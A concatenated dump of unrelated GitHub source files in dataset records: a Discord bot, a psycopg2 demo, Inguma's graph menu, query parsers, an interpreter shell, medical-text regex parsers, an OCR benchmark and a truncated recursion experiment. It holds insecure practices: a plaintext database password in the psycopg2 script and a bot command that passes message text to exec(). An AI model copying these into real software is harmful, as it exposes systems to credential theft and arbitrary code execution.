message.reply(embed=SakuraEmbedMsg(title=\"錯誤\",description=\"請回復欲釘選的訊息\"))\n return\n elif message.reference.cached_message is None:\n await message.reply(embed=SakuraEmbedMsg(title=\"錯誤\",description=\"您回復的訊息無法釘選\\n請使用應用程式指令釘選該訊息\"))\n GuildID = message.guild.id\n PinnedBy = message.author.id\n msg_id = ctx.id\n MsgLink = ctx.jump_url\n msg_content = ctx.content\n msg_by = ctx.author.id\n embed = SakuraEmbedMsg()\n embed.set_author(name=ctx.author, icon_url=ctx.author.display_avatar.url)\n embed.add_field(name=msg_content[:256],value=f\"已儲存該訊息\\n[訊息連結]({MsgLink})\")\n await message.reply(embed=embed)\n x = (GuildID,PinnedBy,msg_id,msg_by,MsgLink,msg_content)\n self.pinnedMsgDB_cursor.execute(\"INSERT OR IGNORE INTO PinnedMsg VALUES(?,?,?,?,?,?)\",x)\n self.pinnedMsgDB.commit()\n\n def run_code_thread(self, code_text, message):\n output_io = io.StringIO()\n try:\n locals_dict = {}\n globals_dict = {\"print\": lambda *args, **kwargs: print(*args, file=output_io, **kwargs)}\n exec(code_text, globals_dict, locals_dict)\n output = output_io.getvalue()\n embed=SakuraEmbedMsg(title=\"程式執行測試\",description=f\"```{code_text}```\")\n embed.add_field(name=\"程式執行結果\",value=output)\n asyncio.run_coroutine_threadsafe(message.reply(embed=embed), self.bot.loop)\n return output\n except Exception as e:\n error_message = str(e)\n embed=SakuraEmbedMsg(title=\"程式執行測試\",description=f\"```{code_text}```\")\n embed.add_field(name=\"程式執行過程發生錯誤\",value=error_message)\n asyncio.run_coroutine_threadsafe(message.reply(embed=embed), self.bot.loop)\n\n async def run_code(self,message: discord.Message):\n if message.author.id != 540134212217602050:\n await message.reply(\"您沒有權限使用此功能\", ephemeral=True)\n return\n code_text = message.content.split(\"```\")[1]\n t = threading.Thread(target=self.run_code_thread, args=(code_text, message))\n t.start()","repo_name":"Evanlau1798/yonharu-sakura-discord-bot","sub_path":"utils/personal_commands.py","file_name":"personal_commands.py","file_ext":"py","file_size_in_byte":6378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"3561794756","text":"import psycopg2\n\nhostname = \"localhost\"\ndatabase = \"demo_one\"\nusername = \"postgres\"\npwd=\"S1a9m9u2$\"\nport_id = 5432\n\nconn = None\ncur = None\n\nconn = psycopg2.connect(\n host=hostname,\n dbname=database,\n user=username,\n password=pwd,\n port=5432\n\n )\n\ncur = conn.cursor()\n\ncreate_script = ''' CREATE TABLE emp (\n id int PRIMARY KEY,\n name varchar(40) NOT NULL,\n salary int,\n dept_id varchar(30)\n )\n '''\ncur.execute(create_script)\n\n\ninsert_script = 'INSERT INTO emp (id,name,salary,dept_id) VALUES(%s,%s,%s,%s)'\ninsert_value = [(1, 'James',1200,'D4'),(2, 'Cain',1700,'D2'),(3, 'Matt',1500,'D1')]\n\nfor record in insert_value:\n cur.execute(insert_script, record)\ncur.execute('SELECT * FROM emp')\n\nconn.commit\nconn.close()\ncur.close()","repo_name":"sam4rano/udacitynanodegree","sub_path":"psy.py","file_name":"psy.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71529988237","text":"from gi.repository import GdkPixbuf, Gtk, GObject\n\nimport os, threading\n\nimport lib.ui.config as config\n\nfrom lib.core import get_profile_file_path\n\n# FIXME\n# Ugly hacks to make MenuItems look better\n# MUST rewrite the whole menu away from UImanager to normal menu widget\n# FIXME\n\nclass UIManager(Gtk.UIManager):\n\n def __init__(self, main):\n GObject.GObject.__init__(self)\n\n self.ui_id = 0\n self.main = main\n self.gom = main.gom\n self.uicore = main.uicore\n\n graph_icon = GdkPixbuf.Pixbuf.new_from_file(os.path.join('lib', 'ui', 'data', 'icons', 'chart_organisation.png'))\n graph_icon_add = GdkPixbuf.Pixbuf.new_from_file(os.path.join('lib', 'ui', 'data', 'icons', 'chart_organisation_add.png'))\n asn_search = GdkPixbuf.Pixbuf.new_from_file(os.path.join('lib', 'ui', 'data', 'icons', 'asn_group.png'))\n geomap_icon = GdkPixbuf.Pixbuf.new_from_file(os.path.join('lib', 'ui', 'data', 'icons', 'map_icon.png'))\n datalist_icon = GdkPixbuf.Pixbuf.new_from_file(os.path.join('lib', 'ui', 'data', 'icons', 'sitemap_color.png'))\n weight_icon = GdkPixbuf.Pixbuf.new_from_file(os.path.join('lib', 'ui', 'data', 'icons', 'chart_line.png'))\n\n self.graph_menu = '''\n <ui>\n <popup name=\"Popup\">\n <menu action=\"Graph options\"></menu>\n <menuitem action=\"options\"/>\n <separator/>\n <menuitem action=\"add_target\"/>\n <menuitem action=\"do_asn\"/>\n <separator/>\n <menuitem action=\"asn_cluster\"/>\n <menuitem action=\"geoip\"/>\n <menuitem action=\"get_to_from\"/>\n <menuitem action=\"get_from_to\"/>\n <menuitem action=\"get_vulns_ip\"/>\n <separator/>\n <menuitem action=\"get_weighted_ip\"/>\n <menuitem action=\"get_weighted_port\"/>\n </popup>\n </ui>\n '''\n # Add the accelerator group\n self.accel = self.get_accel_group()\n\n # Create an ActionGroup\n self.actiongroup = Gtk.ActionGroup('Popup')\n\n # Add actions\n self.actiongroup.add_actions( [('Graph options', None, '')] )\n self.actiongroup.add_actions( [('options', None, '')] )\n self.actiongroup.add_actions( [('add_target', Gtk.STOCK_ADD, ' Add new target ', None, 'ToolTip', self.add_target )] )\n self.actiongroup.add_actions( [('do_asn', Gtk.STOCK_EXECUTE, ' Get nodes ASN ', None, 'ToolTip', self.doAsn )] )\n self.actiongroup.add_actions( [('asn_cluster', None, ' ASN Clustered ', None, 'ToolTip', self.doNormal )] )\n self.actiongroup.add_actions( [('geoip', None, ' GeoIP Map ', None, 'ToolTip', self.geoIp)] )\n self.actiongroup.add_actions( [('get_to_from', None, ' Ports per IP ', None, 'ToolTip', self.doToFrom )], ['ports_ip'] )\n self.actiongroup.add_actions( [('get_from_to', None, ' IP per Port ', None, 'ToolTip', self.doToFrom )], ['ip_ports'] )\n self.actiongroup.add_actions( [('get_vulns_ip', None, ' Vulns per Port ', None, 'ToolTip', self.doToFrom )], ['ports_vuln'] )\n self.actiongroup.add_actions( [('get_weighted_ip', None, ' Weighted IP ', None, 'ToolTip', self.doWeighted )], ['ip'] )\n self.actiongroup.add_actions( [('get_weighted_port', None, ' Weighted Ports ', None, 'ToolTip', self.doWeighted )], ['port'] )\n\n # Add the actiongroup to the uimanager\n self.insert_action_group(self.actiongroup, 0)\n\n # Add a UI description\n self.add_ui_from_string(self.graph_menu)\n\n # Menu\n #ui_id = self.add_ui_from_string(self.graph_menu)\n #self.set_uiID(ui_id)\n self.popmenu = self.get_widget('/Popup')\n\n # Decorate Menu items...\n items = self.popmenu.get_children()\n bold_title = items[1].get_children()[0]\n bold_title.set_markup(\"<b> Graph options </b>\")\n items[3].set_image(Gtk.Image.new_from_pixbuf(graph_icon_add))\n items[4].set_image(Gtk.Image.new_from_pixbuf(asn_search))\n items[6].set_image(Gtk.Image.new_from_pixbuf(graph_icon))\n items[7].set_image(Gtk.Image.new_from_pixbuf(geomap_icon))\n for item in items[8:11]:\n if type(item) is not Gtk.SeparatorMenuItem:\n item.set_image(Gtk.Image.new_from_pixbuf(datalist_icon))\n for item in items[11:]:\n if type(item) is not Gtk.SeparatorMenuItem:\n item.set_image(Gtk.Image.new_from_pixbuf(weight_icon))\n\n def doNormal(self, widget):\n self.uicore.getDot(False)\n self.xdot.set_dotcode( self.uicore.get_last_dot() )\n\n def geoIp(self, widget):\n geodb_path = get_profile_file_path( 'data' + os.sep + 'GeoLiteCity.dat')\n print(geodb_path)\n if os.path.exists(geodb_path):\n if config.HAS_GEOIP:\n import lib.ui.geoip as geoip\n geoip.Gui(self.uicore)\n else:\n md = Gtk.MessageDialog(None, Gtk.DialogFlags.DESTROY_WITH_PARENT, Gtk.MessageType.WARNING, Gtk.ButtonsType.CLOSE, \"GeoIP Database not found!\\n\\nDownload it at the preferences dialog\\nunder the Update tab\")\n md.run()\n md.destroy()\n\n def doAsn(self, widget):\n #self.uicore.getDot(True)\n\n t = threading.Thread(target=self.uicore.getDot, args=(True,))\n t.start()\n self.threadtv.add_action('Get nodes ASN', 'all nodes', t)\n\n GObject.timeout_add(1000, self.update_graph, t)\n\n def update_graph(self, thread):\n\n if thread.isAlive() == True:\n return True\n else:\n self.xdot.set_dotcode( self.uicore.get_last_dot() )\n self.gom.kbwin.update_tree()\n return False\n\n def doToFrom(self, widget, type):\n self.xdot.on_zoom_100(None)\n self.uicore.getToFromDot(type[0])\n self.xdot.set_dotcode( self.uicore.get_last_dot() )\n\n def doWeighted(self, widget, type):\n self.xdot.on_zoom_100(None)\n self.uicore.getWeighted(type[0])\n self.xdot.set_dotcode( self.uicore.get_last_dot() )\n\n def add_target(self, widget):\n self.main.toolbar.add_tb.set_active(True)\n","repo_name":"inguma/inguma","sub_path":"lib/ui/graphMenu.py","file_name":"graphMenu.py","file_ext":"py","file_size_in_byte":6164,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"29"} +{"seq_id":"30729610990","text":"# -*- coding: utf-8 -*-\nfrom libs.code import Code\nfrom .basic_parser import BasicParser\n\n\nclass JsonBodyParser(BasicParser):\n CONSTANT_META_KEY = set()\n NEED_IN_QUERY_META_KEY = set()\n NO_REPORT_PARAM_ERROR_KEYS = {\"type\", }\n \"\"\"\n For ES, unpack index, body\n For InfluxDB, unpack db, measurement, tag, body\n \"\"\"\n def parse(self):\n # unpack 之后的字典, 包含查询语句和元信息\n result_meta_with_query = dict()\n result_meta_with_query.update(self.origin_body)\n # deep copy if necessary\n # 查询语句, 不包含元信息\n result_query = self.origin_body\n self.verify_parm(result_query, result_meta_with_query)\n\n self.result_meta_with_query = result_meta_with_query\n self.result_query = result_query\n self.parsed = True\n\n def verify_parm(self, result_query, result_meta_with_query):\n for key in self.CONSTANT_META_KEY:\n if key in self.origin_meta:\n result_meta_with_query[key] = self.origin_meta[key]\n else:\n if key not in self.NO_REPORT_PARAM_ERROR_KEYS:\n raise Code.MissingRequiredParam(key)\n\n if key in self.NEED_IN_QUERY_META_KEY:\n if key in result_meta_with_query:\n result_query[key] = result_meta_with_query[key]\n if key not in result_query and key not in self.NO_REPORT_PARAM_ERROR_KEYS:\n raise Code.MissingRequiredParam(key)\n else:\n if key in result_query:\n del result_query[key]\n\n\nclass ESJsonBodyParser(JsonBodyParser):\n CONSTANT_META_KEY = {\"index\", \"type\"}\n NEED_IN_QUERY_META_KEY = {}\n\n @property\n def query_name(self) -> str:\n return \"es\"\n\n\nclass InfluxJsonBodyParser(JsonBodyParser):\n CONSTANT_META_KEY = {\"db\", \"measurement\", \"type\"}\n NEED_IN_QUERY_META_KEY = {\"measurement\", }\n\n @property\n def query_name(self) -> str:\n return \"influx\"\n\n def verify_parm(self, result_query, result_meta_with_query):\n one_in = False\n for key in self.CONSTANT_META_KEY:\n if key in self.origin_meta:\n if key not in self.NO_REPORT_PARAM_ERROR_KEYS:\n one_in = True\n result_meta_with_query[key] = self.origin_meta[key]\n\n if key in self.NEED_IN_QUERY_META_KEY:\n if key in result_meta_with_query:\n result_query[key] = result_meta_with_query[key]\n else:\n if key in result_query:\n del result_query[key]\n if not one_in:\n raise Code.MissingRequiredParam(str(self.CONSTANT_META_KEY))\n\n\nclass MixJsonBodyParser(JsonBodyParser):\n CONSTANT_META_KEY = {\"index\", \"db\", \"measurement\", \"type\"}\n NEED_IN_QUERY_META_KEY = {\"measurement\", }\n\n @property\n def query_name(self) -> str:\n return \"mix\"\n","repo_name":"zpoint/HostMonitor","sub_path":"parser/json_body_parser.py","file_name":"json_body_parser.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"42284118795","text":"from cparse import parse_text\nimport maquina\nimport nodos\nimport sys\nfrom argparse import ArgumentParser\nfrom cmd import Cmd\nfrom settings import VERSION\nfrom os import path, chdir, listdir\nfrom glob import glob\nimport re\n\n#Esto se hace para que el autocompletado funcione en Windows\ntry:\n import pyreadline\nexcept ImportError:\n pass\n\n\ndef crear_parser():\n parser = ArgumentParser(description=\"Procesa archivos\")\n parser.add_argument('archivo',help=\"Path del archivo\",type=str,nargs='?')\n return parser\n\ndef leer_archivo(path):\n with open(path,'r') as arch:\n ret_val = arch.read()\n return ret_val\n\ndef nodos_desde_arch(path):\n arch = leer_archivo(path)\n return parse_text(arch)\n\ndef main():\n parser = crear_parser()\n args = parser.parse_args()\n if args.archivo:\n evaluar(args.archivo)\n input(\"Presione enter para finalizar...\")\n else:\n ComandosInterprete().cmdloop()\n\ndef evaluar(archivo):\n print(\"Evaluando archivo: {}\".format(archivo))\n try:\n m = maquina.Maquina(nodos_desde_arch(archivo))\n m.evaluar_raices()\n except Exception as e:\n print(\"Error: {e}\".format(e=e))\n\nclass ComandosInterprete(Cmd):\n prompt = \"HAI> \"\n intro = ''' \n *******************************************\n Compilador del Lenguaje de Programación HAI\n Versión: {version}\n \n COMANDOS:\n\n hai [archivo]: para leer un archivo\n salir: para salir\n *******************************************\n '''.format(version=VERSION)\n _currdir = None\n def do_hai(self,archivo):\n if not archivo:\n print(\"No se incluyo archivo, el mismo es obligatorio\")\n else:\n evaluar(archivo)\n def help_hai(self):\n print('\\n'.join((\"Lee y ejecuta un archivo\",\"Se ejecuta de la forma\",\"hai [archivo]\")))\n def help_salir(self):\n print(\"Sale de la línea de comandos\")\n def help_archivos(self):\n print(\"Lista los archivos en el directorio en el que se está trabajando, en este caso {d}\".format(d=self.currdir))\n def help_cd(self):\n print(\"Cambia el directorio de trabajo al especificado en el comando, por ejemplo para cambiar al directorio actual se escribiría\\ncd {}\".format(self.currdir))\n def do_salir(self,linea):\n sys.exit(0)\n def do_cd(self,dir_):\n if not dir_:\n self._currdir = path.realpath(\"\")\n print(\"Directorio cambiado a ubicación original {}\".format(self._currdir))\n else:\n if path.isdir(dir_):\n temp = path.realpath(dir_)\n chdir(temp)\n self._currdir = temp\n print(\"Directorio actual cambiado a {dir_}\".format(dir_=temp))\n else:\n print(\"\\\"{dir_}\\\" no es un directorio\".format(dir_=dir_))\n def complete_cd(self, text, line, begidx, endidx):\n ret_val = [x for x in listdir() if path.isdir(x) and text in x]\n if not re.match('^\\w+$',text) or not ret_val:\n ret_val +=[\"..\"]\n return sorted(ret_val)\n def do_archivos(self,linea):\n print('\\n'.join(sorted(glob(\"*.hai\"))))\n def do_EOF(self,linea):\n return True\n def complete_hai(self, text, line, begidx, endidx):\n return [x for x in sorted(glob(\"*.hai\")) if text in x]\n @property\n def currdir(self):\n return self._currdir if self._currdir else path.realpath('')\nif __name__=='__main__':\n main()\n","repo_name":"asdrubalivan/interprete-hai","sub_path":"compilador_hai/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"73170067598","text":"from parsingDatabaseUtils import cleanString, floatParse, fullCleanTxt, findInXML, removeWords, parseDate\nimport pandas, numpy as np,re\nimport collections, datetime, parsingDatabaseUtils\nimport xml, itertools, xml.etree.ElementTree as ET\n\n\nclass MeasurementsByDay():\n def __init__(self, name = 'pressure'):\n self.maxVals = collections.defaultdict(lambda: 0) \n self.minVals = collections.defaultdict(lambda: 1000) \n self.name = name\n def addMeasurement(self, date, p):\n date = datetime.datetime.strptime(date.split()[0], '%Y-%m-%d')\n if not isinstance(p, str) or '/' not in p:\n p = '%s/%s' % (p, p)\n maxVal, minVal = p.split('/')\n maxVal, minVal = float(maxVal.replace(',','')), float(minVal.replace(',',''))\n if maxVal and minVal:\n self.maxVals[date] = max(self.maxVals[date], maxVal)\n self.minVals[date] = min(self.minVals[date], minVal)\n def toDict(self):\n res = {}\n for i, d in enumerate(sorted(self.maxVals.keys())):\n res['day_%03d_%s' % (i, self.name)] = str(self.maxVals[d]) + '/' + str(self.minVals[d])\n res['day_%03d' % i] = d\n\n \ndef identifyPressureInText(text):\n text = text.upper()\n return re.findall('(?:TA|PA|TENSION|PRESION)\\s*([0-9]+)[-/]([0-9]+)\\s*MMHG', text )\n \ndef identifyHRInText(text):\n text = text.upper()\n return re.findall('(?:FC)\\s*([0-9]+)', text )\n\ndef identifyRRInText(text):\n text = text.upper()\n return re.findall('(?:FR)\\s*([0-9]+)', text )\n\ndef identifyTInText(text):\n text = text.upper()\n return re.findall('(?:T)\\s*(%s)' % floatParse, text )\n\n\ndef parseVitalSignsFromRegister(r):\n \"\"\"\n Tries to find the vital signs in both the xml fields and the free text.\n \"\"\"\n res = []\n et = ET.fromstring(r.RegistroXML)\n fecha = r.FechaAsignacionRegistro.split()[0]\n txt = fullCleanTxt(findInXML('DescripcionNota', et))\n\n # Pressure\n pressure = findInXML('Presion', et)\n if not pressure or pressure == '/':\n pressure = None\n if txt:\n pressure = identifyPressureInText(txt)\n if pressure:\n pressure = '/'.join(pressure[0])\n if pressure:\n res += [('Pas', fecha, pressure.split('/')[0], r.FechaAsignacionRegistro)]\n res += [('Pad', fecha, pressure.split('/')[1], r.FechaAsignacionRegistro)]\n\n # FC\n fc = findInXML('FrecuenciaCardiaca', et)\n if not fc:\n if txt:\n fc = identifyHRInText(txt)\n if fc:\n fc = fc[0]\n if fc:\n res += [('hr', fecha, fc, r.FechaAsignacionRegistro)]\n\n # RR\n rr = findInXML('FrecuenciaRespiratoria', et)\n if not rr:\n if txt:\n rr = identifyRRInText(txt)\n if rr:\n rr = rr[0]\n if rr:\n res += [('rr', fecha, rr, r.FechaAsignacionRegistro)]\n\n # T \n temperature = findInXML('Temperatura', et)\n if not temperature or temperature == '/':\n if txt:\n temperature = identifyTInText(txt)\n if temperature:\n temperature = temperature[0]\n if temperature:\n res += [('T', fecha, temperature, r.FechaAsignacionRegistro)]\n return res\n\ndef getVitalSignsFromEntry(entry):\n \"\"\"\n m dataframe with all entries of a single case at a given date\n \"\"\"\n res = ()\n dateRegister = entry.FechaRegistro.split()[0]\n if entry.CodSignoVitalTipo == 'PRSI' or entry.CodSignoVitalTipo == 'PAS':\n res= ('Pas', dateRegister, entry.Valor, dateRegister)\n elif entry.CodSignoVitalTipo == 'PRDI' or entry.CodSignoVitalTipo == 'PAD':\n res =('Pad', dateRegister, entry.Valor, dateRegister)\n elif entry.CodSignoVitalTipo in ['FRCA', 'FC']:\n res = ('hr', dateRegister, entry.Valor, dateRegister)\n elif entry.CodSignoVitalTipo in ['FRRE', 'FR']:\n res = ('rr', dateRegister, entry.Valor, dateRegister)\n elif entry.CodSignoVitalTipo == 'T':\n res = ('T', dateRegister, entry.Valor, dateRegister)\n return res\n\ndef getAllVitalSigns(data):\n vitalSigns = []\n for r in data.registersMother:\n vitalSigns += parseVitalSignsFromRegister(r)\n \n for e in data.entriesInfirmaryMother:\n entryParsed = getVitalSignsFromEntry(e)\n if entryParsed:\n vitalSigns += [entryParsed]\n return vitalSigns\n\nmeses = ['ENERO', 'FEBRERO', 'MARZO', 'ABRIL', 'MAYO', 'JUNIO', 'JULIO', 'AGOSTO', 'SEPTIEMBRE', 'OCTUBRE', 'NOVIEMBRE', 'DICIEMBRE']\nmeses = meses + list(map(lambda s: s[:3], meses))\nsep= '\\s*[,;:]?\\s*'\nseparadorFecha = '(?:[\\.\\\\/-]|DE|DEL|\\s)'\ndate = '\\(?' + '((?:[0-9]+)'+ sep + separadorFecha + sep + '(?:[0-9]+|%s)'% '|'.join(meses) + \\\n sep + separadorFecha + sep + '(?:[0-9]+))' + '\\)?' \n\n# read paraclinics. Assume that the date is just before them, or in the same line\npos = ['pos', '\\+', 'reac']\nneg = ['neg', '-', 'no']\nvih1 = 'vih\\s*[1i]'\nvih2 = 'vih\\s*(:?2|ii)'\nvih12 = 'vih\\s*[1i]\\s*(:?2|ii)'\nprt = '(:?PRUEBA RAPIDA TREPONEMICA|PRT)'\nvdrl = '(:?VDRL|SIF[A-Z]*|RPR|FTA|FTA ABS)'\nfloatParse = '[0-9]*[\\.,]?[0-9]+'\n\nhematology = {\n'HCT' : '(HCT|HTO|HTC|HEMATO[A-Z]*)',\n'HB' : '(HB|HEMOGLOB[A-Z]*)',\n'LEU' : '(LEU[A-Z]*)',\n'NEU' : '(NEU[A-Z]*)',\n'LIN' : '(LIN)',\n'MONO' : '(MONO[A-Z]*)',\n'PLAQ' : '(PL[A-Z]*|PQT)'}\n\nmeses = ['ENERO', 'FEBRERO', 'MARZO', 'ABRIL', 'MAYO', 'JUNIO', 'JULIO', 'AGOSTO', 'SEPTIEMBRE', 'OCTUBRE', 'NOVIEMBRE', 'DICIEMBRE']\nmeses = meses + list(map(lambda s: s[:3], meses))\nsep= '\\s*[,;:]?\\s*'\nseparadorFecha = '(?:[\\.\\\\/-]|DE|DEL|\\s)'\ndate = ' \\(?' + '((?:[0-9]|[0-3][0-9])'+ sep + separadorFecha + sep + '(?:[0-9]+|%s)'% '|'.join(meses) + \\\n sep + separadorFecha + sep + '(?:[0-9]+))' + '\\)?' \ndef parseParaclinicsFromText(txt, date, datehour):\n results = []\n #haematology\n for p, v in hematology.items():\n hematologyRes = re.findall('%s (%s)[^x]' % (v, floatParse), txt, re.IGNORECASE)\n if hematologyRes:\n results += [(p, date, hematologyRes[0][1], datehour)]\n\n #sifilis\n sif1 = ' ' + vdrl + \" (%s)\" % '|'.join(pos + neg)\n searchSif1 = re.findall(sif1, txt, re.IGNORECASE)\n sif2 = ' ' + prt + \" (%s)\" % '|'.join(pos + neg) \n searchSif2 = re.findall(sif2, txt, re.IGNORECASE)\n if searchSif1:\n results += [('vdrl', date, searchSif1[0][1] in pos, datehour)]\n if searchSif2:\n results += [('prt', date, searchSif2[0][1] in pos, datehour)]\n # TODO: vih\n return results\n \ndef parseParaclinicsBeforeHospitalisation(r):\n lastDate = None\n if not isinstance(r, str):\n rET = ET.fromstring(r.RegistroXML)\n rTxt = fullCleanTxt(findInXML('AntecedentesHTML', rET))\n rTxt = removeWords(rTxt, ['de', 'y', 'a', 'el', 'los'])\n else:\n rTxt = r\n \n \n lastDate = None\n results = []\n if re.findall('(no|sin|ni) (prese[a-z]*|tien[a-z]*|tra[a-z]*)(\\s)*para', rTxt):\n results += [('controlesPrenatal', '1954-06-07', 0, 'NONE' )]\n return results\n \n for i, l in enumerate(rTxt.splitlines()):\n l = ' ' + l\n # use instead dateparser.search.search_dates <- it goes too slow\n d = re.findall(date, l, re.IGNORECASE)\n # dFiltered = [dateparser.parse(dd) for dd in d]\n #dFiltered = [dd for dd in dFiltered if dd]\n\n if len(d) == 1.:\n dateParsed = parseDate(d[0], output = 'string')\n elif len(d):\n lastDate = None\n \n if len(d) <= 1 and lastDate:\n r = parseParaclinicsFromText(l, lastDate, lastDate)\n results += r\n return results\n \ndef getParaClinicsHospitalisation(data): \n resultNotes = []\n for r in data.registersMother:\n txt = findInXML('DescripcionNota' , r.RegistroXML)\n if not txt:\n continue\n txt = fullCleanTxt(txt)\n noteResult = parseParaclinicsFromText(txt, r.FechaAsignacionRegistro.split()[0], r.FechaAsignacionRegistro)\n if noteResult:\n resultNotes += noteResult\n return resultNotes\n\n\ndef getParaClinicsNewbornRegistry(r): \n txt = findInXML('TexTarea_AntecedentesMaternosPrenatales' , r)\n txt = fullCleanTxt(txt)\n result = parseParaclinicsFromText(txt, r.FechaAsignacionRegistro.split()[0], r.FechaAsignacionRegistro)\n return result\n\n\ndef getAllMotherParaclinics(data):\n if data.epicrisis is not None:\n resultsEpi = parseParaclinicsBeforeHospitalisation(data.epicrisis)\n else:\n resultsEpi = []\n resultNotes = getParaClinicsHospitalisation(data)\n return resultsEpi + resultNotes\n\n\ndef measurementsToDict(dfMeasurements, name = 'day'):\n res = {}\n dfMeasurementsByDate = dfMeasurements.groupby('Fecha')\n for i, d in enumerate(dfMeasurementsByDate.groups):\n dfValues =dfMeasurementsByDate.get_group(d).groupby('Campo')['Valor'].agg(['median', 'max', 'min'])\n res['%s_%d' % (name,i)] = d\n for var, row in dfValues.iterrows():\n res[var + '_median_%s_%d' % (name,i)] = row.median()\n res[var + '_max_%s_%d' % (name,i)] = row.max()\n res[var + '_min_%s_%d' % (name,i)] = row.min()\n return res\n\ndef processPrenatalMeasurements(measurementsControlsPrenatal, fum):\n res = {}\n for test, date, value, _ in measurementsControlsPrenatal.values:\n if test in ['vdrl', 'HB', 'prt']:\n weeks = parsingDatabaseUtils.dateDifferenceDays(date, fum)//7\n if weeks < 0:\n #print('Error, negative weeks found')\n res['negative_week'] = True\n #raise ValueError('Inconsistent!')\n\n elif weeks <= 20:\n if test == 'vdrl':\n #no treponemica\n res['VAR_0112'] = 'A' if not value else 'B'\n res['VAR_0412'] = weeks # Weeks\n\n elif test == 'prt':\n #treponemica\n res['VAR_0415'] = 'A' if not value else 'B'\n res['VAR_0413'] = weeks # Weeks\n\n elif test == 'HB':\n res['VAR_0095'] = value\n\n elif weeks > 20 and weeks < 60:\n if test == 'vdrl':\n res['VAR_0114'] = 'A' if not value else 'B'\n res['VAR_0419'] = weeks # Weeks\n\n elif test == 'prt':\n res['VAR_0421'] = 'A' if not value else 'B'\n res['VAR_0420'] = weeks # Weeks\n\n elif test == 'HB':\n res['VAR_0099'] = value\n return res","repo_name":"gbernardino/toolsCMRC","sub_path":"parseMeasurementsByDay.py","file_name":"parseMeasurementsByDay.py","file_ext":"py","file_size_in_byte":10531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"29001474454","text":"#!/usr/bin/env python\nimport argparse\nimport csv\nimport glob\nimport os\n\nimport cv2\nimport logging\nimport pandas as pd\nfrom pytesseract import pytesseract as pt\nfrom PIL import Image\nfrom tqdm import tqdm\n\nimport config\nfrom utils import filter_tess_results, get_scores\n\nlogger = logging.getLogger()\n\n\ndef build_tess_annotations():\n annotations = pd.DataFrame(\n columns=['filename', 'cell_type', 'x1', 'x2', 'y1', 'y2', 'content', 'img_width', 'img_height', 'bb_width',\n 'bb_height'])\n # read image files\n for f in tqdm(glob.glob(os.path.join(config.DATA_ROOT, 'dataset/images/*.jpg'))):\n df_bboxes = pd.DataFrame\n bboxes_file = os.path.basename(f)\n tess_ret = pt.run_tesseract(f, bboxes_file, lang=None, boxes=True, config=\"--oem 2 -l eng tsv\")\n bboxes_file += '.tsv'\n if os.path.exists(bboxes_file):\n try:\n # read image\n img = cv2.imread(f, 3 | cv2.IMREAD_IGNORE_ORIENTATION)\n h, w, _ = img.shape\n # read bboxes file and convert coordinates to proper form\n with open(bboxes_file, mode='rb') as bb_file:\n df_bboxes = pd.read_csv(bb_file, sep='\\t', quoting=3,\n dtype={'text': str, 'left': int, 'width': int, 'top': int, 'height': int})\n df_bboxes.rename(columns={'text': 'content', 'left': 'x1', 'top': 'y1', 'width': 'bb_width',\n 'height': 'bb_height'},\n inplace=True)\n df_bboxes['x2'] = df_bboxes.x1 + df_bboxes.bb_width\n df_bboxes['y2'] = df_bboxes.y1 + df_bboxes.bb_height\n df_bboxes['filename'] = os.path.basename(f)\n df_bboxes['img_width'] = w\n df_bboxes['img_height'] = h\n finally:\n if os.path.exists(bboxes_file):\n os.remove(bboxes_file)\n os.remove(bboxes_file.replace('.tsv', '.box'))\n else:\n logger.warning('Tesseract unable to recognize image: {0}'.format(f))\n annotations = annotations.append(df_bboxes, ignore_index=True)\n annotations['cell_type'] = -1\n # filter bounding boxes\n annotations = filter_tess_results(annotations)\n return annotations\n\n\nif __name__ == '__main__':\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--tess\", action='store_true', default=False,\n help=\"Generate annotations with tesseract and save to file\")\n ap.add_argument(\"--benchmark\", action='store_true', default=False,\n help=\"Benchmark tesseract annotations against ground truth and print metrics\")\n args = ap.parse_args()\n if args.tess:\n ann = build_tess_annotations()\n # save annotations\n ann.to_csv('models/tess_annotations.csv')\n if args.benchmark:\n tess_df = pd.read_csv('models/tess_annotations.csv')\n gt = pd.read_csv('models/gt_annotations.csv')\n scores = get_scores(gt, tess_df)\n print(scores.sort('ocr_acc'))\n print('Dataset OCR accuracy:', scores.ocr_acc.mean(), 'Dataset segmentation accuracy:', scores.seg_acc.mean())\n","repo_name":"OWNA/OCR-engine","sub_path":"task1_full_tess.py","file_name":"task1_full_tess.py","file_ext":"py","file_size_in_byte":3215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"752676177","text":"name = input()\nvotes = {}\nwhile name != '***':\n if name not in votes:\n votes[name] = 1\n else:\n votes[name] += 1\n name = input()\nvotes = sorted([(count, name) for name, count in votes.items()], reverse=True)\nprint(votes[0][1]) if votes[0][0] != votes[1][0] else print(\"Runoff!\")\n","repo_name":"Thomas-McKanna/Kattis","sub_path":"Recount/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"37398330809","text":"# carrega as suas funções iterativas e recursivas\nfrom eg_recursao import somaR, maxR, somaI, maxI\n\n## talvez seja necessário alterar o tamanho da pilha de recursão.\nMAX_PILHA = 100000\nimport sys\nsys.setrecursionlimit(MAX_PILHA) \n\nimport random\nfrom timeit import default_timer as Timer\n\nMAX_VAL = 1\n\n# ................................................\n'''\nmain()\n essa função roda o experimento que compara os\n tempos de execução das versões iterativa e\n recursiva de cada função.\n'''\ndef main():\n\n ## lista com os pares de funções a serem comparadas\n funcoes = [[somaI, somaR], [maxI, maxR]] \n\n for par in funcoes:\n print('\\n<<< =========== >>>\\n')\n print(f\"Experimento: {par[0]} x {par[1]}\\n\")\n print(f\"n\\t | (res I) - tempo I\\t | (res R) 